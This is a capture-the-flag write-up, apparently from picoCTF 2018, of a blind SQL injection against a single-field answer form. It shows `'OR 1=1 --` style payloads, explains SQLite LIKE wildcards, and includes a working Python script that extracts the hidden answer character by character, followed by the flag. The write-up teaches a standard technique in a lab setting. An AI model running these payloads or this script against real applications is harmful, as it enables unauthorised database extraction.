Tags: blindsqli
Rating: 5.0
This time, we're faced with a single-input form asking for "the answer". I
instantly tried `42`, but no dice. Then a single quote. That triggered an error
message indicating that :
- There is an SQL injection vulnerability
- We're querying an SQLite3 database
- The query is echoed back to us : `SQL query: SELECT * FROM answers WHERE answer='''`
If we try `'OR 1=1 --`, we get the message `You are so close.`. If we try any
random valid string, we get the message `Wrong.`. That indicates that we get
one message if the query returned at least one row (`You are so close.`, in
this first case the always true condition has the database return all rows) and
the other message (`Wrong.`) if the query returns no row : that's a blind SQL
injection.
We can exploit that to get the answer out of the database, using the [`LIKE`
operator](https://sqlite.org/lang_expr.html#like). `LIKE` allows a bit of
fuzzy searching by matching based on an expression rather than than an exact
value. In sqlite, it uses two wildcards :
- `%` : matches 0 or more of any character
- `_` : matches exactly one of any character
Example :
- `ca_` would match "car" or "cap" but not "ca" or "cars"
- `ca%` would match "ca", "car", "cars", or any string that starts with "ca"
So if we built a query using `LIKE` and `%` for every possible character
(` SELECT * FROM answers WHERE answer LIKE 'a%'`, ` SELECT * FROM answers WHERE
answer LIKE 'b%'`, etc.), we would only get the `You are so close.` message if
the answer we're looking for starts with that character. We can then re-iterate
character by character.
Here's the script I wrote to do just that :
_Note : this script uses two external libraries :
[requests](http://docs.python-requests.org/en/master/) for handling HTTP
requests and [colorama](https://pypi.org/project/colorama/) for coloring the
output in the name of cool._
```python
import requests
import string
from colorama import Fore
chars = string.digits + string.ascii_lowercase + string.ascii_uppercase + '{_}'
cr = '\r'
def send(str_):
data = {'answer': str_, 'debug': 1}
r = requests.post('http://2018shell3.picoctf.com:28120/answer2.php', data=data)
return r.text
def inject(payload):
str_ = f"nope' or answer like '{payload}%' --"
resp = send(str_)
if 'Wrong.' in resp:
return False
elif 'You are so close.' in resp:
return True
else:
raise Exception('Unplanned case.')
def guess(current=''):
print(f'{cr}{Fore.CYAN}{current}{Fore.RESET}', end='')
for c in chars:
print(f'{cr}{current}{Fore.YELLOW}{c}{Fore.RESET}', end='')
if inject(current + c):
return guess(current + c)
# we have tried every possible character, so we probably have the answer
return current
print(f'{cr}{Fore.GREEN}{guess()}{Fore.RESET}')
```
If we run it, it finds the value we're looking for after a short while :
`41andsixsixths` (so my first guess wasn't that bad). But there's a catch : the
`LIKE` operator is case insensitive (so the `string.ascii_uppercase` in my
script is actually useless and slows down the search). We need to figure out
the proper capitalization.
There's probably a better way to do it, but I just took a few guesses and found
it's `41AndSixSixths`. If we POST that to the server, we get the flag :
`picoCTF{qu3stions_ar3_h4rd_8f84b784}`.
liked it!